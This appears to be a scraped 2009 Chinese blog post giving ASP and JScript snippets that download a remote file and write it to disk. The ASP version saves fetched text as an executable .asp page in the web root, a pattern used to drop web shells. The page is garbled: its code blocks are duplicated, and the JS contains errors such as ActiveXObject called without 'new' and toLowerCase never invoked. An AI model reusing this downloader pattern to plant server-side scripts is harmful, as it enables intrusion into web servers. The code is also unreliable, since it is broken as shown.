将远程文件下载到本地代码(ASP和JS版)
作者:刚子 日期:2009-06-22
ASP版:
程序代码
JS版:
程序代码
程序代码Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://127.0.0.1/admin.txt",False
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile Server.MapPath("1.asp"),2
set sGet = nothing
set sPOST = nothing
response.Write("下载文件成功!<br>")
xPost.Open "GET","http://127.0.0.1/admin.txt",False
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile Server.MapPath("1.asp"),2
set sGet = nothing
set sPOST = nothing
response.Write("下载文件成功!<br>")
JS版:
程序代码var objArgs = WScript.Arguments;
var sGet= ActiveXObject("ADODB.Stream");
var xGet = false;
try {
xGet = XMLHttpRequest;
}
catch (trymicrosoft) {
try {
xGet = ActiveXObject("Msxml2.XMLHTTP");
}
catch (othermicrosoft) {
try {
xGet = ActiveXObject("Microsoft.XMLHTTP");
}
catch (failed) {
xGet = false;
}
}
}
xGet.Open ("GET",objArgs(0).toLowerCase,0);
xGet.Send;
sGet.Mode=3;
sGet.Type=1;
sGet.Open;
sGet.Write (xGet.ResponseBody);
sGet.SaveToFile (objArgs(1).toLowerCase,2);
var sGet= ActiveXObject("ADODB.Stream");
var xGet = false;
try {
xGet = XMLHttpRequest;
}
catch (trymicrosoft) {
try {
xGet = ActiveXObject("Msxml2.XMLHTTP");
}
catch (othermicrosoft) {
try {
xGet = ActiveXObject("Microsoft.XMLHTTP");
}
catch (failed) {
xGet = false;
}
}
}
xGet.Open ("GET",objArgs(0).toLowerCase,0);
xGet.Send;
sGet.Mode=3;
sGet.Type=1;
sGet.Open;
sGet.Write (xGet.ResponseBody);
sGet.SaveToFile (objArgs(1).toLowerCase,2);
评论: 0 | 引用: 0 | 查看次数: -
发表评论
上一篇
下一篇

文章来自:
Tags: